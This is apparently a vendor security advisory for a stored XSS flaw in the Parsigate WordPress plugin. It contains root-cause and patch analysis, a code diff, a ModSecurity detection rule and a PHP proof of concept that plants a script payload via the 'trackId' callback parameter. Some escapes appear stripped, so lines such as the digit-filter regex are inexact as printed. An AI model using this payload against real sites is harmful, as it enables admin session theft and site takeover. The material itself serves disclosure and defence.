Published : November 29, 2026

CVE-2026-133409: Parsigate <= 1.2.0 Unauthenticated Stored Cross-Site Scripting via 'trackId' Parameter PoC, Patch Analysis & Rule

Plugin parsigate
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 1.2.0
Patched Version 1.2.1
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-133409: The Parsigate plugin for WordPress (versions up to and including 1.2.0) contains an unauthenticated stored cross-site scripting vulnerability. The flaw exists in the ‘trackId’ parameter (Zibal gateway) and equivalent fields for other gateways, which are logged without adequate sanitization and later rendered without output escaping in the admin log viewer. This allows unauthenticated attackers to inject arbitrary scripts that execute when an administrator views the Tools > ParsiGate Log page. CVSS score is 7.2 (High).

Root Cause: The vulnerability stems from two distinct weaknesses. First, in /parsigate/inc/Gateways.php around line 667, the verify callback extracts $trackId from the request using sanitize_text_field(), which does not remove all XSS-capable characters (e.g., angle brackets, quotes, event handlers). This value is subsequently stored in the plugin’s custom log table. Second, in /parsigate/inc/custom-table/pg-log/LogListTable.php, the column rendering functions at lines 313 and 340 output the stored log data without escaping. Specifically, the ‘code’ and ‘url’ columns are concatenated into HTML spans without esc_html() or esc_attr(). The patch adds esc_attr() and esc_html() to these outputs, and also hardens the trackId handling by restricting it to digits and validating it against the order.

Exploitation: An unauthenticated attacker can trigger the vulnerability by initiating a checkout with a Parsigate gateway (e.g., Zibal) and manipulating the ‘trackId’ GET parameter during the payment callback. The attacker sends a crafted request to the callback URL (e.g., /?wc-api=parsigate_zibal&trackId=alert(1)) while ensuring the ‘success’ parameter is set to ‘1’ and the order remains pending. The malicious payload is stored in the log. When an administrator visits Tools > ParsiGate Log, the script executes in the admin’s browser, leading to session hijacking, credential theft, or other admin-level actions.

Patch Analysis: The patch (v1.2.1) introduces three key changes. In Gateways.php, the trackId is now sanitized using preg_replace(‘/D/’, ”, (string)$trackId) to keep only digits, and a new check ensures the trackId was issued for the order via Gateways::is_issued_for_order(), preventing tampering. In LogListTable.php, all dynamic output is escaped: the status class uses esc_attr($class), the code uses esc_html(trim((string)$item[‘code’])), and the URL uses esc_html($item[‘url’]). These changes neutralize stored XSS by ensuring no HTML is rendered from untrusted input.

Impact: Successful exploitation enables an attacker to execute arbitrary JavaScript in the context of an authenticated administrator. This can lead to full site compromise: session cookie theft, creation of new admin accounts, installation of malicious plugins, or redirection to phishing sites. The unauthenticated nature and the requirement for admin interaction (viewing the log) make this a serious threat, especially on sites with the logging option enabled and pending orders.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/parsigate/ParsiGate.php
+++ b/parsigate/ParsiGate.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: Parsigate
  * Description: Persian Gateways for WooCommerce/WordPress
- * Version:     1.2.0
+ * Version:     1.2.1
  * Author:      Parsidate Teams
  * Author URI:  https://wp-parsi.com
  * Text Domain: parsigate
--- a/parsigate/inc/Gateways.php
+++ b/parsigate/inc/Gateways.php
@@ -667,7 +667,17 @@
                     'verify' => function ($amount, $order, $option, $class, $request) {

                         $success = (isset($request['get']['success']) ? sanitize_text_field($request['get']['success']) : '');
-                        $trackId = (isset($request['get']['trackId']) ? sanitize_text_field($request['get']['trackId']) : '');
+
+                        // Zibal trackId is always numeric. Keep digits only so nothing else
+                        // from the callback URL is sent to the bank or stored in the log.
+                        $trackId = ((isset($request['get']['trackId']) && is_scalar($request['get']['trackId'])) ? preg_replace('/D/', '', (string)$request['get']['trackId']) : '');
+
+                        // Zibal verify does not check the amount and also accepts an already
+                        // verified trackId (result 201), so the trackId must be the one issued
+                        // for this order. Otherwise a paid cheap order could settle this one.
+                        if ($success == '1' && !Gateways::is_issued_for_order($order, $trackId)) {
+                            return Gateways::not_issued_for_order_error();
+                        }

                         return [
                             'sandbox' => isset($option['sandbox']) and $option['sandbox'] == 'yes',
--- a/parsigate/inc/custom-table/pg-log/LogListTable.php
+++ b/parsigate/inc/custom-table/pg-log/LogListTable.php
@@ -313,7 +313,7 @@
                 if (in_array(substr($item['code'], 0, 1), ['4', '5'])) {
                     $class = 'error';
                 }
-                return '<span class="pg-log-column-status pg-log-column-status-' . $class . '">' . trim($item['code']) . '</span>';
+                return '<span class="pg-log-column-status pg-log-column-status-' . esc_attr($class) . '">' . esc_html(trim((string)$item['code'])) . '</span>';
                 break;

             case 'created_at':
@@ -340,7 +340,7 @@
                     return $unknown;
                 }

-                return '<span dir="ltr" style="text-align: left; font-size: 12px !important;">' . $item['url'] . '</span>';
+                return '<span dir="ltr" style="text-align: left; font-size: 12px !important;">' . esc_html($item['url']) . '</span>';
                 break;

             case 'request':

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@rx ^/index.php$" "id:2026133409,phase:2,deny,status:403,chain,msg:'CVE-2026-133409 via Parsigate Zibal callback trackId XSS',severity:'CRITICAL',tag:'CVE-2026-133409'"
  SecRule ARGS_GET:wc-api "@streq parsigate_zibal" "chain"
    SecRule ARGS_GET:trackId "@rx <script|javascript:|onerror=|onload=|alert(" "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-133409 - Parsigate <= 1.2.0 - Unauthenticated Stored Cross-Site Scripting via 'trackId' Parameter

$target_url = 'http://example.com'; // Change to your WordPress site URL

// Step 1: Create a pending order via WooCommerce (simulated here)
// In a real attack, the attacker would add a product to cart and proceed to checkout,
// selecting the Zibal gateway. This PoC assumes the attacker has obtained a valid order key
// or can place an order. For simplicity, we directly craft the callback request.

// Step 2: Craft the malicious trackId payload
$payload = '<script>alert(document.cookie);</script>';

// Step 3: Send the request to the Zibal callback endpoint with success=1 and the payload
// The exact endpoint depends on the plugin's callback URL structure.
// Typically: /?wc-api=parsigate_zibal&success=1&trackId=PAYLOAD
$callback_url = $target_url . '/?wc-api=parsigate_zibal&success=1&trackId=' . urlencode($payload);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $callback_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "Sent payload to: $callback_urln";
echo "HTTP response code: $http_coden";
echo "Response body: " . substr($response, 0, 500) . "n";

// Step 4: The attacker must ensure the order remains pending.
// The payload is now stored in the log. An administrator viewing the log page will trigger the XSS.
// To verify, log in as admin and visit /wp-admin/tools.php?page=parsigate-log

// Note: This PoC requires that the 'ParsiGate Log' option is enabled and a pending order exists.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.